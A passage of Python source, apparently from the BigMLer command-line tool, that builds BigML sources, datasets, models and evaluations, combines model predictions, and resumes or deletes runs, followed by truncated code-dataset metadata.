test_reader, exclude, fields, method,\n objective_field, output, test_set_header):\n \"\"\"Get local predictions, combine them and save predictions to file\n\n \"\"\"\n local_model = MultiModel(models)\n for row in test_reader:\n for index in exclude:\n del row[index]\n input_data = fields.pair(row, headers, objective_field)\n prediction = local_model.predict(input_data,\n by_name=test_set_header,\n method=method)\n u.write_prediction(prediction, output)\n\n\ndef local_batch_predict(models, headers, test_reader, exclude, fields, resume,\n output_path, max_models, number_of_tests, api, output,\n verbosity, method, objective_field, session_file,\n debug):\n \"\"\"Get local predictions form partial Multimodel, combine and save to file\n\n \"\"\"\n def draw_progress_bar(current, total):\n \"\"\"Draws a text based progress report.\n\n \"\"\"\n pct = 100 - ((total - current) * 100) / (total)\n console_log(\"Predicted on %s out of %s models [%s%%]\" % (\n localize(current), localize(total), pct))\n\n models_total = len(models)\n models_splits = [models[index:(index + max_models)] for index\n in range(0, models_total, max_models)]\n input_data_list = []\n for row in test_reader:\n for index in exclude:\n del row[index]\n input_data_list.append(fields.pair(row, headers,\n objective_field))\n total_votes = []\n models_count = 0\n for models_split in models_splits:\n if resume:\n for model in models_split:\n pred_file = get_predictions_file_name(model,\n output_path)\n u.checkpoint(u.are_predictions_created,\n pred_file,\n number_of_tests, debug=debug)\n complete_models = []\n for index in range(len(models_split)):\n complete_models.append(api.check_resource(\n models_split[index], api.get_model))\n\n local_model = MultiModel(complete_models)\n local_model.batch_predict(input_data_list,\n output_path, reuse=True)\n votes = local_model.batch_votes(output_path)\n models_count += max_models\n if models_count > models_total:\n models_count = models_total\n if verbosity:\n draw_progress_bar(models_count, models_total)\n if total_votes:\n for index in range(0, len(votes)):\n predictions = total_votes[index].predictions\n predictions.extend(votes[index].predictions)\n else:\n total_votes = votes\n message = u.dated(\"Combining predictions.\\n\")\n u.log_message(message, log_file=session_file, console=verbosity)\n for multivote in total_votes:\n u.write_prediction(multivote.combine(method), output)\n\n\ndef predict(test_set, test_set_header, models, fields, output,\n objective_field, remote=False, api=None, log=None,\n max_models=MAX_MODELS, method=0, resume=False,\n tags=None, verbosity=1, session_file=None, debug=False):\n \"\"\"Computes a prediction for each entry in the `test_set`.\n\n Predictions can be computed remotely, locally using MultiModels built\n on all the models or locally using MultiModels on subgroups of models.\n Chosing a max_batch_models value not bigger than the number_of_models\n flag will lead to the last case, where memory usage is bounded and each\n model predictions are saved for further use.\n \"\"\"\n\n try:\n test_reader = csv.reader(open(test_set, \"U\"),\n delimiter=get_csv_delimiter(),\n lineterminator=\"\\n\")\n except IOError:\n sys.exit(\"Error: cannot read test %s\" % test_set)\n\n headers = None\n exclude = []\n if test_set_header:\n headers = test_reader.next()\n # validate headers against model fields excluding objective_field,\n # that may be present or not\n fields_names = [fields.fields[fields.field_id(i)]\n ['name'] for i in\n sorted(fields.fields_by_column_number.keys())\n if i != fields.field_column_number(objective_field)]\n headers = [unicode(header, \"utf-8\") for header in headers]\n exclude = [i for i in range(len(headers)) if not headers[i]\n in fields_names]\n exclude.reverse()\n if len(exclude):\n if (len(headers) - len(exclude)):\n print (u\"WARNING: predictions will be processed but some data\"\n u\" might not be used. The used fields will be:\\n\\n%s\"\n u\"\\n\\nwhile the headers found in the test file are:\"\n u\"\\n\\n%s\" %\n (\",\".join(fields_names),\n \",\".join(headers))).encode(\"utf-8\")\n for index in exclude:\n del headers[index]\n else:\n raise Exception((u\"No test field matches the model fields.\\n\"\n u\"The expected fields are:\\n\\n%s\\n\\nwhile \"\n u\"the headers found in the test file are:\\n\\n\"\n u\"%s\\n\\nUse --no-test-header flag if first li\"\n u\"ne should not be interpreted as headers.\" %\n (\",\".join(fields_names),\n \",\".join(headers))).encode(\"utf-8\"))\n\n prediction_file = output\n output_path = u.check_dir(output)\n output = open(output, 'w', 0)\n number_of_tests = None\n if resume:\n number_of_tests = u.file_number_of_lines(test_set)\n if test_set_header:\n number_of_tests -= 1\n # Remote predictions: predictions are computed in bigml.com and stored\n # in a file named after the model in the following syntax:\n # model_[id of the model]__predictions.csv\n # For instance,\n # model_50c0de043b563519830001c2_predictions.csv\n if remote:\n remote_predict(models, headers, output_path, number_of_tests, resume,\n verbosity, test_reader, exclude, fields, api,\n prediction_file, method, tags, objective_field,\n session_file, test_set_header, log, debug)\n # Local predictions: Predictions are computed locally using models' rules\n # with MultiModel's predict method\n else:\n message = u.dated(\"Creating local predictions.\\n\")\n u.log_message(message, log_file=session_file, console=verbosity)\n # For a small number of models, we build a MultiModel using all of\n # the given models and issue a combined prediction\n if len(models) < max_models:\n local_predict(models, headers, test_reader, exclude, fields,\n method, objective_field, output, test_set_header)\n # For large numbers of models, we split the list of models in chunks\n # and build a MultiModel for each chunk, issue and store predictions\n # for each model and combine all of them eventually.\n else:\n local_batch_predict(models, headers, test_reader, exclude, fields,\n resume, output_path, max_models,\n number_of_tests, api, output,\n verbosity, method, objective_field,\n session_file, debug)\n output.close()\n\n\ndef compute_output(api, args, training_set, test_set=None, output=None,\n objective_field=None,\n description=None,\n field_attributes=None,\n types=None,\n dataset_fields=None,\n model_fields=None,\n name=None, training_set_header=True,\n test_set_header=True, model_ids=None,\n votes_files=None, resume=False, fields_map=None):\n \"\"\" Creates one or more models using the `training_set` or uses the ids\n of previously created BigML models to make predictions for the `test_set`.\n\n \"\"\"\n source = None\n dataset = None\n model = None\n models = None\n fields = None\n\n path = u.check_dir(output)\n session_file = \"%s%s%s\" % (path, os.sep, SESSIONS_LOG)\n csv_properties = {}\n # If logging is required, open the file for logging\n log = None\n if args.log_file:\n u.check_dir(args.log_file)\n log = args.log_file\n # If --clear_logs the log files are cleared\n if args.clear_logs:\n try:\n open(log, 'w', 0).close()\n except IOError:\n pass\n\n if (training_set or (args.evaluate and test_set)):\n if resume:\n resume, args.source = u.checkpoint(u.is_source_created, path,\n bigml.api, debug=args.debug)\n if not resume:\n message = u.dated(\"Source not found. Resuming.\\n\")\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n\n # If neither a previous source, dataset or model are provided.\n # we create a new one. Also if --evaluate and test data are provided\n # we create a new dataset to test with.\n data_set = None\n if (training_set and not args.source and not args.dataset and\n not args.model and not args.models):\n data_set = training_set\n data_set_header = training_set_header\n elif (args.evaluate and test_set and not args.source):\n data_set = test_set\n data_set_header = test_set_header\n\n if not data_set is None:\n\n source_args = {\n \"name\": name,\n \"description\": description,\n \"category\": args.category,\n \"tags\": args.tag,\n \"source_parser\": {\"header\": data_set_header}}\n message = u.dated(\"Creating source.\\n\")\n u.log_message(message, log_file=session_file, console=args.verbosity)\n source = api.create_source(data_set, source_args,\n progress_bar=args.progress_bar)\n source = api.check_resource(source, api.get_source)\n message = u.dated(\"Source created: %s\\n\" % u.get_url(source, api))\n u.log_message(message, log_file=session_file, console=args.verbosity)\n u.log_message(\"%s\\n\" % source['resource'], log_file=log)\n\n fields = Fields(source['object']['fields'],\n source['object']['source_parser']['missing_tokens'],\n source['object']['source_parser']['locale'])\n source_file = open(path + '/source', 'w', 0)\n source_file.write(\"%s\\n\" % source['resource'])\n source_file.write(\"%s\\n\" % source['object']['name'])\n source_file.flush()\n source_file.close()\n\n # If a source is provided, we retrieve it.\n elif args.source:\n message = u.dated(\"Retrieving source. %s\\n\" %\n u.get_url(args.source, api))\n u.log_message(message, log_file=session_file, console=args.verbosity)\n source = api.get_source(args.source)\n\n # If we already have source, we check that is finished and extract the\n # fields, and update them if needed.\n if source:\n if source['object']['status']['code'] != bigml.api.FINISHED:\n message = u.dated(\"Retrieving source. %s\\n\" %\n u.get_url(source, api))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n source = api.check_resource(source, api.get_source)\n csv_properties = {'missing_tokens':\n source['object']['source_parser']['missing_tokens'],\n 'data_locale':\n source['object']['source_parser']['locale']}\n\n fields = Fields(source['object']['fields'], **csv_properties)\n update_fields = {}\n if field_attributes:\n for (column, value) in field_attributes.iteritems():\n update_fields.update({\n fields.field_id(column): value})\n message = u.dated(\"Updating source. %s\\n\" %\n u.get_url(source, api))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n source = api.update_source(source, {\"fields\": update_fields})\n\n update_fields = {}\n if types:\n for (column, value) in types.iteritems():\n update_fields.update({\n fields.field_id(column): {'optype': value}})\n message = u.dated(\"Updating source. %s\\n\" %\n u.get_url(source, api))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n source = api.update_source(source, {\"fields\": update_fields})\n\n if (training_set or args.source or (args.evaluate and test_set)):\n if resume:\n resume, args.dataset = u.checkpoint(u.is_dataset_created, path,\n bigml.api,\n debug=args.debug)\n if not resume:\n message = u.dated(\"Dataset not found. Resuming.\\n\")\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n # If we have a source but not dataset or model has been provided, we\n # create a new dataset if the no_dataset option isn't set up. Also\n # if evaluate is set and test_set has been provided.\n if ((source and not args.dataset and not args.model and not model_ids and\n not args.no_dataset) or\n (args.evaluate and args.test_set and not args.dataset)):\n dataset_args = {\n \"name\": name,\n \"description\": description,\n \"category\": args.category,\n \"tags\": args.tag\n }\n\n if args.json_filter:\n dataset_args.update(json_filter=args.json_filter)\n elif args.lisp_filter:\n dataset_args.update(lisp_filter=args.lisp_filter)\n\n input_fields = []\n if dataset_fields:\n for name in dataset_fields:\n input_fields.append(fields.field_id(name))\n dataset_args.update(input_fields=input_fields)\n message = u.dated(\"Creating dataset.\\n\")\n u.log_message(message, log_file=session_file, console=args.verbosity)\n dataset = api.create_dataset(source, dataset_args)\n dataset = api.check_resource(dataset, api.get_dataset)\n message = u.dated(\"Dataset created: %s\\n\" % u.get_url(dataset, api))\n u.log_message(message, log_file=session_file, console=args.verbosity)\n u.log_message(\"%s\\n\" % dataset['resource'], log_file=log)\n dataset_file = open(path + '/dataset', 'w', 0)\n dataset_file.write(\"%s\\n\" % dataset['resource'])\n dataset_file.flush()\n dataset_file.close()\n\n # If a dataset is provided, let's retrieve it.\n elif args.dataset:\n message = u.dated(\"Retrieving dataset. %s\\n\" %\n u.get_url(args.dataset, api))\n u.log_message(message, log_file=session_file, console=args.verbosity)\n dataset = api.get_dataset(args.dataset)\n\n # If we already have a dataset, we check the status and get the fields if\n # we hadn't them yet.\n if dataset:\n if dataset['object']['status']['code'] != bigml.api.FINISHED:\n message = u.dated(\"Retrieving dataset. %s\\n\" %\n u.get_url(dataset, api))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n dataset = api.check_resource(dataset, api.get_dataset)\n if not csv_properties:\n csv_properties = {'data_locale':\n dataset['object']['locale']}\n if args.public_dataset:\n if not description:\n raise Exception(\"You should provide a description to publish.\")\n public_dataset = {\"private\": False}\n if args.dataset_price:\n message = u.dated(\"Updating dataset. %s\\n\" %\n u.get_url(dataset, api))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n public_dataset.update(price=args.dataset_price)\n message = u.dated(\"Updating dataset. %s\\n\" %\n u.get_url(dataset, api))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n dataset = api.update_dataset(dataset, public_dataset)\n fields = Fields(dataset['object']['fields'], **csv_properties)\n\n # If we have a dataset but not a model, we create the model if the no_model\n # flag hasn't been set up.\n if (dataset and not args.model and not model_ids and not args.no_model):\n model_args = {\n \"name\": name,\n \"description\": description,\n \"category\": args.category,\n \"tags\": args.tag\n }\n if objective_field is not None:\n model_args.update({\"objective_field\":\n fields.field_id(objective_field)})\n # If evaluate flag is on, we choose a deterministic sampling with 80%\n # of the data to create the model\n if args.evaluate:\n if args.sample_rate == 1:\n args.sample_rate = EVALUATE_SAMPLE_RATE\n seed = SEED\n model_args.update(seed=seed)\n\n input_fields = []\n if model_fields:\n for name in model_fields:\n input_fields.append(fields.field_id(name))\n model_args.update(input_fields=input_fields)\n\n if args.pruning and args.pruning != 'smart':\n model_args.update(stat_pruning=(args.pruning == 'statistical'))\n\n model_args.update(sample_rate=args.sample_rate,\n replacement=args.replacement,\n randomize=args.randomize)\n model_ids = []\n models = []\n if resume:\n resume, model_ids = u.checkpoint(u.are_models_created, path,\n args.number_of_models,\n bigml.api, debug=args.debug)\n if not resume:\n message = u.dated(\"Found %s models out of %s. Resuming.\\n\" %\n (len(model_ids),\n args.number_of_models))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n models = model_ids\n args.number_of_models -= len(model_ids)\n\n model_file = open(path + '/models', 'w', 0)\n for model_id in model_ids:\n model_file.write(\"%s\\n\" % model_id)\n last_model = None\n if args.number_of_models > 0:\n message = u.dated(\"Creating %s.\\n\" %\n u.plural(\"model\", args.number_of_models))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n for i in range(1, args.number_of_models + 1):\n if i > args.max_parallel_models:\n api.check_resource(last_model, api.get_model)\n model = api.create_model(dataset, model_args)\n u.log_message(\"%s\\n\" % model['resource'], log_file=log)\n last_model = model\n model_ids.append(model['resource'])\n models.append(model)\n model_file.write(\"%s\\n\" % model['resource'])\n model_file.flush()\n if args.number_of_models < 2 and args.verbosity:\n if model['object']['status']['code'] != bigml.api.FINISHED:\n model = api.check_resource(model, api.get_model)\n models[0] = model\n message = u.dated(\"Model created: %s.\\n\" %\n u.get_url(model, api))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n model_file.close()\n\n # If a model is provided, we retrieve it.\n elif args.model:\n message = u.dated(\"Retrieving model. %s\\n\" %\n u.get_url(args.model, api))\n u.log_message(message, log_file=session_file, console=args.verbosity)\n model = api.get_model(args.model)\n\n elif args.models or args.model_tag:\n models = model_ids[:]\n\n if model_ids and test_set and not args.evaluate:\n model_id = \"\"\n if len(model_ids) == 1:\n model_id = model_ids[0]\n message = u.dated(\"Retrieving %s. %s\\n\" %\n (u.plural(\"model\", len(model_ids)),\n u.get_url(model_id, api)))\n u.log_message(message, log_file=session_file, console=args.verbosity)\n if len(model_ids) < args.max_batch_models:\n models = []\n for model in model_ids:\n model = api.check_resource(model, api.get_model)\n models.append(model)\n model = models[0]\n else:\n model = api.check_resource(model_ids[0], api.get_model)\n models[0] = model\n\n # We check that the model is finished and get the fields if haven't got\n # them yet.\n if model and not args.evaluate and (test_set or args.black_box\n or args.white_box):\n if model['object']['status']['code'] != bigml.api.FINISHED:\n message = u.dated(\"Retrieving model. %s\\n\" %\n u.get_url(model, api))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n model = api.check_resource(model, api.get_model)\n if args.black_box:\n if not description:\n raise Exception(\"You should provide a description to publish.\")\n model = api.update_model(model, {\"private\": False})\n if args.white_box:\n if not description:\n raise Exception(\"You should provide a description to publish.\")\n public_model = {\"private\": False, \"white_box\": True}\n if args.model_price:\n message = u.dated(\"Updating model. %s\\n\" %\n u.get_url(model, api))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n public_model.update(price=args.model_price)\n if args.cpp:\n message = u.dated(\"Updating model. %s\\n\" %\n u.get_url(model, api))\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n public_model.update(credits_per_prediction=args.cpp)\n model = api.update_model(model, public_model)\n if not csv_properties:\n csv_properties = {'data_locale':\n model['object']['locale']}\n csv_properties.update(verbose=True)\n if args.user_locale:\n csv_properties.update(data_locale=args.user_locale)\n\n fields = Fields(model['object']['model']['fields'], **csv_properties)\n\n if model and not models:\n models = [model]\n\n if models and test_set and not args.evaluate:\n objective_field = models[0]['object']['objective_fields']\n if isinstance(objective_field, list):\n objective_field = objective_field[0]\n predict(test_set, test_set_header, models, fields, output,\n objective_field, args.remote, api, log,\n args.max_batch_models, args.method, resume, args.tag,\n args.verbosity, session_file, args.debug)\n\n # When combine_votes flag is used, retrieve the predictions files saved\n # in the comma separated list of directories and combine them\n if votes_files:\n model_id = re.sub(r'.*(model_[a-f0-9]{24})__predictions\\.csv$',\n r'\\1', votes_files[0]).replace(\"_\", \"/\")\n model = api.check_resource(model_id, api.get_model)\n local_model = Model(model)\n message = u.dated(\"Combining votes.\\n\")\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n u.combine_votes(votes_files, local_model.to_prediction,\n output, args.method)\n\n # If evaluate flag is on, create remote evaluation and save results in\n # json and human-readable format.\n if args.evaluate:\n if resume:\n resume, evaluation = u.checkpoint(u.is_evaluation_created, path,\n bigml.api,\n debug=args.debug)\n if not resume:\n message = u.dated(\"Evaluation not found. Resuming.\\n\")\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n if not resume:\n evaluation_file = open(path + '/evaluation', 'w', 0)\n evaluation_args = {\n \"name\": name,\n \"description\": description,\n \"tags\": args.tag\n }\n if not fields_map is None:\n update_map = {}\n for (dataset_column, model_column) in fields_map.iteritems():\n update_map.update({\n fields.field_id(dataset_column):\n fields.field_id(model_column)})\n evaluation_args.update({\"fields_map\": update_map})\n if not ((args.dataset or args.test_set)\n and (args.model or args.models or args.model_tag)):\n evaluation_args.update(out_of_bag=True, seed=SEED,\n sample_rate=args.sample_rate)\n message = u.dated(\"Creating evaluation.\\n\")\n u.log_message(message, log_file=session_file,\n console=args.verbosity)\n evaluation = api.create_evaluation(model, dataset, evaluation_args)\n u.log_message(\"%s\\n\" % evaluation['resource'], log_file=log)\n evaluation_file.write(\"%s\\n\" % evaluation['resource'])\n evaluation_file.flush()\n evaluation_file.close()\n message = u.dated(\"Retrieving evaluation. %s\\n\" %\n u.get_url(evaluation, api))\n u.log_message(message, log_file=session_file, console=args.verbosity)\n evaluation = api.check_resource(evaluation, api.get_evaluation)\n evaluation_json = open(output + '.json', 'w', 0)\n evaluation_json.write(json.dumps(evaluation['object']['result']))\n evaluation_json.flush()\n evaluation_json.close()\n evaluation_txt = open(output + '.txt', 'w', 0)\n api.pprint(evaluation['object']['result'],\n evaluation_txt)\n evaluation_txt.flush()\n evaluation_txt.close()\n\n # Workaround to restore windows console cp850 encoding to print the tree\n if sys.platform == \"win32\" and sys.stdout.isatty():\n import locale\n data_locale = locale.getlocale()\n if not data_locale[0] is None:\n locale.setlocale(locale.LC_ALL, (data_locale[0], \"850\"))\n message = (u\"\\nGenerated files:\\n\\n\" +\n unicode(u.print_tree(path, \" \"), \"utf-8\") + u\"\\n\")\n else:\n message = \"\\nGenerated files:\\n\\n\" + u.print_tree(path, \" \") + \"\\n\"\n u.log_message(message, log_file=session_file, console=args.verbosity)\n\n\ndef main(args=sys.argv[1:]):\n \"\"\"Main process\n\n \"\"\"\n for i in range(0, len(args)):\n if args[i].startswith(\"--\"):\n args[i] = args[i].replace(\"_\", \"-\")\n # If --clear-logs the log files are cleared\n if \"--clear-logs\" in args:\n for log_file in LOG_FILES:\n try:\n open(log_file, 'w', 0).close()\n except IOError:\n pass\n literal_args = args[:]\n for i in range(0, len(args)):\n if ' ' in args[i]:\n literal_args[i] = '\"%s\"' % args[i]\n message = \"bigmler %s\\n\" % \" \".join(literal_args)\n\n # Resume calls are not logged\n if not \"--resume\" in args:\n with open(COMMAND_LOG, \"a\", 0) as command_log:\n command_log.write(message)\n resume = False\n\n parser = create_parser(defaults=get_user_defaults(), constants={'NOW': NOW,\n 'MAX_MODELS': MAX_MODELS, 'PLURALITY': PLURALITY})\n\n # Parses command line arguments.\n command_args = parser.parse_args(args)\n\n default_output = ('evaluation' if command_args.evaluate\n else 'predictions.csv')\n if command_args.resume:\n debug = command_args.debug\n command = u.get_log_reversed(COMMAND_LOG,\n command_args.stack_level)\n args = shlex.split(command)[1:]\n output_dir = u.get_log_reversed(DIRS_LOG,\n command_args.stack_level)\n defaults_file = \"%s%s%s\" % (output_dir, os.sep, DEFAULTS_FILE)\n parser = create_parser(defaults=get_user_defaults(defaults_file),\n constants={'NOW': NOW, 'MAX_MODELS': MAX_MODELS,\n 'PLURALITY': PLURALITY})\n command_args = parser.parse_args(args)\n if command_args.predictions is None:\n command_args.predictions = (\"%s%s%s\" %\n (output_dir, os.sep,\n default_output))\n # Logs the issued command and the resumed command\n session_file = \"%s%s%s\" % (output_dir, os.sep, SESSIONS_LOG)\n u.log_message(message, log_file=session_file)\n message = \"\\nResuming command:\\n%s\\n\\n\" % command\n u.log_message(message, log_file=session_file, console=True)\n try:\n defaults_handler = open(defaults_file, 'r')\n contents = defaults_handler.read()\n message = \"\\nUsing the following defaults:\\n%s\\n\\n\" % contents\n u.log_message(message, log_file=session_file, console=True)\n defaults_handler.close()\n except IOError:\n pass\n\n resume = True\n else:\n if command_args.predictions is None:\n command_args.predictions = (\"%s%s%s\" %\n (NOW, os.sep,\n default_output))\n if len(os.path.dirname(command_args.predictions).strip()) == 0:\n command_args.predictions = (\"%s%s%s\" %\n (NOW, os.sep,\n command_args.predictions))\n directory = u.check_dir(command_args.predictions)\n session_file = \"%s%s%s\" % (directory, os.sep, SESSIONS_LOG)\n u.log_message(message + \"\\n\", log_file=session_file)\n try:\n defaults_file = open(DEFAULTS_FILE, 'r')\n contents = defaults_file.read()\n defaults_file.close()\n defaults_copy = open(\"%s%s%s\" % (directory, os.sep, DEFAULTS_FILE),\n 'w', 0)\n defaults_copy.write(contents)\n defaults_copy.close()\n except IOError:\n pass\n with open(DIRS_LOG, \"a\", 0) as directory_log:\n directory_log.write(\"%s\\n\" % os.path.abspath(directory))\n\n if resume and debug:\n command_args.debug = True\n\n api_command_args = {\n 'username': command_args.username,\n 'api_key': command_args.api_key,\n 'dev_mode': command_args.dev_mode,\n 'debug': command_args.debug}\n\n api = bigml.api.BigML(**api_command_args)\n\n if (command_args.evaluate\n and not (command_args.training_set or command_args.source\n or command_args.dataset)\n and not (command_args.test_set and (command_args.model or\n command_args.models or command_args.model_tag))):\n parser.error(\"Evaluation wrong syntax.\\n\"\n \"\\nTry for instance:\\n\\nbigmler --train data/iris.csv\"\n \" --evaluate\\nbigmler --model \"\n \"model/5081d067035d076151000011 --dataset \"\n \"dataset/5081d067035d076151003423 --evaluate\")\n\n if command_args.objective_field:\n objective = command_args.objective_field\n try:\n command_args.objective_field = int(objective)\n except ValueError:\n pass\n\n output_args = {\n \"api\": api,\n \"training_set\": command_args.training_set,\n \"test_set\": command_args.test_set,\n \"output\": command_args.predictions,\n \"objective_field\": command_args.objective_field,\n \"name\": command_args.name,\n \"training_set_header\": command_args.train_header,\n \"test_set_header\": command_args.test_header,\n \"args\": command_args,\n \"resume\": resume,\n }\n\n # Reads description if provided.\n if command_args.description:\n description_arg = u.read_description(command_args.description)\n output_args.update(description=description_arg)\n else:\n output_args.update(description=\"Created using BigMLer\")\n\n # Parses fields if provided.\n if command_args.field_attributes:\n field_attributes_arg = (\n u.read_field_attributes(command_args.field_attributes))\n output_args.update(field_attributes=field_attributes_arg)\n\n # Parses types if provided.\n if command_args.types:\n types_arg = u.read_types(command_args.types)\n output_args.update(types=types_arg)\n\n # Parses dataset fields if provided.\n if command_args.dataset_fields:\n dataset_fields_arg = map(lambda x: x.strip(),\n command_args.dataset_fields.split(','))\n output_args.update(dataset_fields=dataset_fields_arg)\n\n # Parses model input fields if provided.\n if command_args.model_fields:\n model_fields_arg = map(lambda x: x.strip(),\n command_args.model_fields.split(','))\n output_args.update(model_fields=model_fields_arg)\n\n model_ids = []\n # Parses model/ids if provided.\n if command_args.models:\n model_ids = u.read_models(command_args.models)\n output_args.update(model_ids=model_ids)\n\n dataset_id = None\n # Parses dataset/id if provided.\n if command_args.datasets:\n dataset_id = u.read_dataset(command_args.datasets)\n command_args.dataset = dataset_id\n\n # Retrieve model/ids if provided.\n if command_args.model_tag:\n model_ids = (model_ids +\n u.list_ids(api.list_models,\n \"tags__in=%s\" % command_args.model_tag))\n output_args.update(model_ids=model_ids)\n\n # Reads a json filter if provided.\n if command_args.json_filter:\n json_filter = u.read_json_filter(command_args.json_filter)\n command_args.json_filter = json_filter\n\n # Reads a lisp filter if provided.\n if command_args.lisp_filter:\n lisp_filter = u.read_lisp_filter(command_args.lisp_filter)\n command_args.lisp_filter = lisp_filter\n\n # Adds default tags unless that it is requested not to do so.\n if command_args.no_tag:\n command_args.tag.append('BigMLer')\n command_args.tag.append('BigMLer_%s' % NOW)\n\n # Checks combined votes method\n if (command_args.method and\n not command_args.method in COMBINATION_WEIGHTS.keys()):\n command_args.method = 0\n else:\n combiner_methods = dict([[value, key]\n for key, value in COMBINER_MAP.items()])\n command_args.method = combiner_methods.get(command_args.method, 0)\n\n # Reads votes files in the provided directories.\n if command_args.votes_dirs:\n dirs = map(lambda x: x.strip(), command_args.votes_dirs.split(','))\n votes_path = os.path.dirname(command_args.predictions)\n votes_files = u.read_votes_files(dirs, votes_path)\n output_args.update(votes_files=votes_files)\n\n # Parses fields map if provided.\n if command_args.fields_map:\n fields_map_arg = u.read_fields_map(command_args.fields_map)\n output_args.update(fields_map=fields_map_arg)\n\n # Parses resources ids if provided.\n if command_args.delete:\n if command_args.predictions is None:\n path = NOW\n else:\n path = u.check_dir(command_args.predictions)\n session_file = \"%s%s%s\" % (path, os.sep, SESSIONS_LOG)\n message = u.dated(\"Retrieving objects to delete.\\n\")\n u.log_message(message, log_file=session_file,\n console=command_args.verbosity)\n delete_list = []\n if command_args.delete_list:\n delete_list = map(lambda x: x.strip(),\n command_args.delete_list.split(','))\n if command_args.delete_file:\n if not os.path.exists(command_args.delete_file):\n raise Exception(\"File %s not found\" % command_args.delete_file)\n delete_list.extend([line for line\n in open(command_args.delete_file, \"r\")])\n if command_args.all_tag:\n query_string = \"tags__in=%s\" % command_args.all_tag\n delete_list.extend(u.list_ids(api.list_sources, query_string))\n delete_list.extend(u.list_ids(api.list_datasets, query_string))\n delete_list.extend(u.list_ids(api.list_models, query_string))\n delete_list.extend(u.list_ids(api.list_predictions, query_string))\n delete_list.extend(u.list_ids(api.list_evaluations, query_string))\n # Retrieve sources/ids if provided\n if command_args.source_tag:\n query_string = \"tags__in=%s\" % command_args.source_tag\n delete_list.extend(u.list_ids(api.list_sources, query_string))\n # Retrieve datasets/ids if provided\n if command_args.dataset_tag:\n query_string = \"tags__in=%s\" % command_args.dataset_tag\n delete_list.extend(u.list_ids(api.list_datasets, query_string))\n # Retrieve model/ids if provided\n if command_args.model_tag:\n query_string = \"tags__in=%s\" % command_args.model_tag\n delete_list.extend(u.list_ids(api.list_models, query_string))\n # Retrieve prediction/ids if provided\n if command_args.prediction_tag:\n query_string = \"tags__in=%s\" % command_args.prediction_tag\n delete_list.extend(u.list_ids(api.list_predictions, query_string))\n # Retrieve evaluation/ids if provided\n if command_args.evaluation_tag:\n query_string = \"tags__in=%s\" % command_args.evaluation_tag\n delete_list.extend(u.list_ids(api.list_evaluations, query_string))\n message = u.dated(\"Deleting objects.\\n\")\n u.log_message(message, log_file=session_file,\n console=command_args.verbosity)\n message = \"\\n\".join(delete_list)\n u.log_message(message, log_file=session_file)\n u.delete(api, delete_list)\n if sys.platform == \"win32\" and sys.stdout.isatty():\n message = (u\"\\nGenerated files:\\n\\n\" +\n unicode(u.print_tree(path, \" \"), \"utf-8\") + u\"\\n\")\n else:\n message = \"\\nGenerated files:\\n\\n\" + u.print_tree(path, \" \") + \"\\n\"\n u.log_message(message, log_file=session_file,\n console=command_args.verbosity)\n elif (command_args.training_set or command_args.test_set\n or command_args.source or command_args.dataset\n or command_args.datasets or command_args.votes_dirs):\n compute_output(**output_args)\n u.log_message(\"_\" * 80 + \"\\n\", log_file=session_file)\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n", "sub_path": "bigmler/bigmler.py", "file_name": "bigmler.py", "file_ext": "py", "file_size_in_byte": 44426, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.now", "line_number": 78, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 78, "usage_type": "attribute"}, {"api_name": "bigmler.utils.NEW_DIRS_LOG", "line_number": 82, "usage_type": "attribute"}, {"api_name": "bigmler.utils", "line_number": 82, "usage_type": "name"}, {"api_name": "bigml.util.get_predictions_file_name", "line_number": 100, "usage_type": "call"}, {"api_name": "bigmler.utils.checkpoint", "line_number": 104, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 104, "usage_type": "name"}, {"api_name": "bigmler.utils.are_predictions_created", "line_number": 104, "usage_type": "attribute"}, {"api_name": "bigmler.utils.dated", "line_number": 106, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 106, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 107, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 107, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 110, "usage_type": "call"}, {"api_name": "bigmler.utils.log_message", "line_number": 119, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 119, "usage_type": "name"}, {"api_name": "bigmler.utils.prediction_to_row", "line_number": 120, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 120, "usage_type": "name"}, {"api_name": "bigmler.utils.combine_votes", "line_number": 122, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 122, "usage_type": "name"}, {"api_name": "bigml.model.Model", "line_number": 123, "usage_type": "call"}, {"api_name": "bigml.multimodel.MultiModel", "line_number": 132, "usage_type": "call"}, {"api_name": "bigmler.utils.write_prediction", "line_number": 140, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 140, "usage_type": "name"}, {"api_name": "bigml.util.console_log", "line_number": 155, "usage_type": "call"}, {"api_name": "bigml.util.localize", "line_number": 156, "usage_type": "call"}, {"api_name": "bigml.util.get_predictions_file_name", "line_number": 172, "usage_type": "call"}, {"api_name": "bigmler.utils.checkpoint", "line_number": 174, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 174, "usage_type": "name"}, {"api_name": "bigmler.utils.are_predictions_created", "line_number": 174, "usage_type": "attribute"}, {"api_name": "bigml.multimodel.MultiModel", "line_number": 182, "usage_type": "call"}, {"api_name": "bigmler.utils.dated", "line_number": 197, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 197, "usage_type": 